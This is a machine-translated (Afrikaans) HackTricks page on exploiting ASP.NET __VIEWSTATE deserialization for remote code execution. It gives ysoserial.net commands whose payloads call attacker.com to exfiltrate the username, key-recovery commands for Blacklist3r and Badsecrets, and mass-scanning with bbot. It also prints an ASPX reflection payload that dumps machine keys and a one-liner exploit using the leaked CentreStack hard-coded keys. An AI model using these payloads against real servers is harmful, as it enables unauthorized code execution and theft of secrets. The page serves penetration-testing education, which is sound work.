Exploiting __VIEWSTATE without knowing the secrets

Reading time: 14 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

What is ViewState

ViewState dien as die standaardmeganisme in ASP.NET om bladsy- en kontroledata oor webblaaie te handhaaf. Tydens die weergawe van 'n bladsy se HTML, word die huidige toestand van die bladsy en waardes wat tydens 'n postback bewaar moet word, in base64-gecodeerde strings geserealiseer. Hierdie strings word dan in versteekte ViewState-velde geplaas.

ViewState-inligting kan gekarakteriseer word deur die volgende eienskappe of hul kombinasies:

  • Base64:
  • Hierdie formaat word gebruik wanneer beide EnableViewStateMac en ViewStateEncryptionMode eienskappe op vals gestel is.
  • Base64 + MAC (Message Authentication Code) Enabled:
  • Aktivering van MAC word bereik deur die EnableViewStateMac eienskap op waar te stel. Dit bied integriteitsverifikasie vir ViewState-data.
  • Base64 + Encrypted:
  • Versleuteling word toegepas wanneer die ViewStateEncryptionMode eienskap op waar gestel is, wat die vertroulikheid van ViewState-data verseker.

Test Cases

Die beeld is 'n tabel wat verskillende konfigurasies vir ViewState in ASP.NET op grond van die .NET-raamwerkweergawe uiteensit. Hier is 'n opsomming van die inhoud:

  1. Vir enige weergawe van .NET, wanneer beide MAC en Versleuteling gedeaktiveer is, is 'n MachineKey nie nodig nie, en dus is daar geen toepaslike metode om dit te identifiseer nie.
  2. Vir weergawes onder 4.5, as MAC geaktiveer is maar Versleuteling nie, is 'n MachineKey nodig. Die metode om die MachineKey te identifiseer, word "Blacklist3r" genoem.
  3. Vir weergawes onder 4.5, ongeag of MAC geaktiveer of gedeaktiveer is, as Versleuteling geaktiveer is, is 'n MachineKey nodig. Die identifisering van die MachineKey is 'n taak vir "Blacklist3r - Future Development."
  4. Vir weergawes 4.5 en hoër, vereis alle kombinasies van MAC en Versleuteling (of albei waar is, of een waar is en die ander vals is) 'n MachineKey. Die MachineKey kan geïdentifiseer word met "Blacklist3r."

Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false

Dit is ook moontlik om die ViewStateMAC heeltemal te deaktiveer deur die AspNetEnforceViewStateMac registersleutel op nul te stel in:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Identifisering van ViewState Attribuut

Jy kan probeer om te identifiseer of ViewState MAC beskerm is deur 'n versoek te vang wat hierdie parameter bevat met BurpSuite. As Mac nie gebruik word om die parameter te beskerm nie, kan jy dit benut met YSoSerial.Net

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Test case 1.5 – Soos Test case 1, maar die ViewState koekie word nie deur die bediener gestuur nie

Ontwikkelaars kan ViewState verwyder sodat dit nie deel van 'n HTTP-versoek word nie (die gebruiker sal nie hierdie koekie ontvang nie).
Mens kan aanneem dat as ViewState nie teenwoordig is nie, hul implementering veilig is teen enige potensiële kwesbaarhede wat met ViewState deserialisering ontstaan.
Dit is egter nie die geval nie. As ons die ViewState parameter by die versoekliggaam voeg en ons geserialiseerde payload wat met ysoserial geskep is, stuur, sal ons steeds in staat wees om kode-uitvoering te bereik soos in Case 1 gewys.

Test Case: 2 – .Net < 4.5 en EnableViewStateMac=true & ViewStateEncryptionMode=false

Om ViewState MAC vir 'n spesifieke bladsy te aktiveer, moet ons die volgende veranderinge aan 'n spesifieke aspx-lĂȘer maak:

bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Ons kan dit ook doen vir die oorhoofse toepassing deur dit in die web.config lĂȘer te stel soos hieronder getoon:

xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Aangesien die parameter MAC beskerm is, moet ons eers die sleutel wat gebruik is, hĂȘ om die aanval suksesvol uit te voer.

Jy kan probeer om Blacklist3r(AspDotNetWrapper.exe) te gebruik om die sleutel te vind wat gebruik is.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets is 'n ander hulpmiddel wat bekende machineKeys kan identifiseer. Dit is in Python geskryf, so anders as Blacklist3r, is daar geen Windows afhanklikheid nie. Vir .NET viewstates is daar 'n "python blacklist3r" nut, wat die vinnigste manier is om dit te gebruik.

Dit kan of voorsien word van die viewstate en generator direk:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png

Of, dit kan direk met die teiken-URL verbind en probeer om die viewstate uit die HTML te sny:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png

Om op groot skaal na kwesbare viewstates te soek, in samewerking met subdomein-opsomming, kan die badsecrets BBOT module gebruik word:

bbot -f subdomain-enum -m badsecrets -t evil.corp

https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png

As jy gelukkig is en die sleutel gevind word, kan jy voortgaan met die aanval met behulp van YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

In gevalle waar die _VIEWSTATEGENERATOR parameter nie gestuur word deur die bediener nie, hoef jy nie die --generator parameter te verskaf nie, maar hierdie:

bash
--apppath="/" --path="/hello.aspx"

Toetsgeval: 3 – .Net < 4.5 en EnableViewStateMac=true/false en ViewStateEncryptionMode=true

In hierdie geval is dit nie bekend of die parameter met MAC beskerm word nie. Dan is die waarde waarskynlik geĂ«nkripteer en jy sal die Masjien Sleutel nodig hĂȘ om jou payload te enkripteer om die kwesbaarheid te benut.

In hierdie geval is die Blacklist3r module in ontwikkeling...

Voor .NET 4.5 kan ASP.NET 'n ongeënkripteerde ___VIEWSTATE_parameter van die gebruikers aanvaar selfs as ViewStateEncryptionMode op Altyd gestel is. ASP.NET kontroleer slegs die teenwoordigheid van die __VIEWSTATEENCRYPTED parameter in die versoek. As 'n mens hierdie parameter verwyder, en die ongeënkripteerde payload stuur, sal dit steeds verwerk word.

Daarom, as die aanvallers 'n manier vind om die Masjien Sleutel via 'n ander kwesbaarheid soos lĂȘer traversering te verkry, kan die YSoSerial.Net opdrag wat in die Geval 2 gebruik is, gebruik word om RCE uit te voer met behulp van die ViewState deserialisering kwesbaarheid.

  • Verwyder die __VIEWSTATEENCRYPTED parameter uit die versoek om die ViewState deserialisering kwesbaarheid te benut, anders sal dit 'n Viewstate MAC validasie fout teruggee en die uitbuiting sal misluk.

Toetsgeval: 4 – .Net >= 4.5 en EnableViewStateMac=true/false en ViewStateEncryptionMode=true/false behalwe dat beide eienskappe op false gestel is

Ons kan die gebruik van die ASP.NET raamwerk afdwing deur die onderstaande parameter binne die web.config lĂȘer soos hieronder aan te dui.

xml
<httpRuntime targetFramework="4.5" />

Alternatiewelik kan dit gedoen word deur die onderstaande opsie binne die machineKey parameter van die web.config-lĂȘer te spesifiseer.

bash
compatibilityMode="Framework45"

Soos in die vorige is die waarde geënkripteer. Dan, om 'n geldige las te stuur, het die aanvaller die sleutel nodig.

Jy kan probeer om Blacklist3r(AspDotNetWrapper.exe) te gebruik om die sleutel te vind wat gebruik word:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

Vir 'n meer gedetailleerde beskrywing van IISDirPath en TargetPagePath verwys hier

Of, met Badsecrets (met 'n generator waarde):

bash
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png

Sodra 'n geldige masjinsleutel geĂŻdentifiseer is, is die volgende stap om 'n geserialiseerde payload te genereer met behulp van YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

As jy die waarde van __VIEWSTATEGENERATOR het, kan jy probeer om die --generator parameter met daardie waarde te gebruik en die parameters --path en --apppath te om te laat.

'n Succesvolle uitbuiting van die ViewState deserialisering kwesbaarheid sal lei tot 'n out-of-band versoek na 'n aanvaller-beheerde bediener, wat die gebruikersnaam insluit. Hierdie tipe uitbuiting word gedemonstreer in 'n bewys van konsep (PoC) wat gevind kan word deur 'n hulpbron met die titel "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Vir verdere besonderhede oor hoe die uitbuitingsproses werk en hoe om gereedskap soos Blacklist3r te gebruik om die MachineKey te identifiseer, kan jy die PoC van Succesvolle Uitbuiting hersien.

Toetsgeval 6 – ViewStateUserKeys word gebruik

Die ViewStateUserKey eienskap kan gebruik word om teen 'n CSRF-aanval te verdedig. As so 'n sleutel in die toepassing gedefinieer is en ons probeer om die ViewState payload te genereer met die metodes wat tot nou toe bespreek is, sal die payload nie deur die toepassing verwerk word.
Jy moet nog een parameter gebruik om die payload korrek te skep:

bash
--viewstateuserkey="randomstringdefinedintheserver"

Resultaat van 'n Suksesvolle Exploit

Vir al die toets gevalle, as die ViewState YSoSerial.Net payload suksesvol werk, dan reageer die bediener met “500 Interne bediener fout” met die responsinhoud “Die staat-inligting is ongeldig vir hierdie bladsy en mag beskadig wees” en ons kry die OOB versoek.

Kontroleer vir verdere inligting hier

Dumping ASP.NET Masjien Sleutels via Reflectie (SharPyShell/SharePoint ToolShell)

Aanvallers wat in staat is om op te laai of arbitrĂȘre ASPX kode binne die teiken web wortel uit te voer, kan direk die geheime sleutels wat __VIEWSTATE beskerm, verkry in plaas daarvan om hulle te brute-force. 'n Minimale payload wat die sleutels lek, benut interne .NET klasse deur middel van reflectie:

csharp
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>

Die versoek van die bladsy druk die ValidationKey, DecryptionKey, die versleuteling algoritme en die ASP.NET kompatibiliteitsmodus. Hierdie waardes kan nou regstreeks in ysoserial.net ingevoer word om 'n geldige, ondertekende __VIEWSTATE gadget te skep:

bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"

Hierdie key-exfiltration primitive is in 2025 massaal teen on-prem SharePoint bedieners uitgebuit ("ToolShell" – CVE-2025-53770/53771), maar dit is van toepassing op enige ASP.NET toepassing waar 'n aanvaller server-kant kode kan uitvoer.

2024-2025 Werklike Exploit Scenarios en Hard-gecodeerde Masjien Sleutels

Microsoft “openlik bekendgemaakte masjien sleutels” golf (Des 2024 – Feb 2025)

Microsoft Threat Intelligence het massale uitbuiting van ASP.NET webwerwe gerapporteer waar die machineKey voorheen op openbare bronne (GitHub gists, blogposte, paste sites) gelek is. Teenstanders het hierdie sleutels genummeerd en geldige __VIEWSTATE gadgets gegenereer met die nuwer ysoserial.net 1.41 --minify en --islegacy vlae om WAF lengte beperkings te ontduik:

bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify

Rotasie van statiese sleutels of oorskakeling na AutoGenerate sleutels in Web .config (<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />) verminder hierdie klas aanvalle.

CVE-2025-30406 – Gladinet CentreStack / Triofox hard-gecodeerde sleutels

Kudelski Security het ontdek dat verskeie CentreStack / Triofox weergawe met identiese machineKey waardes verskaf is, wat nie-geoutentiseerde afstands kode-uitvoering deur ViewState vervalsing moontlik maak (CVE-2025-30406).

One-liner exploit:

bash
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx

Vaste in CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – opgradeer of vervang die sleutels onmiddellik.

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks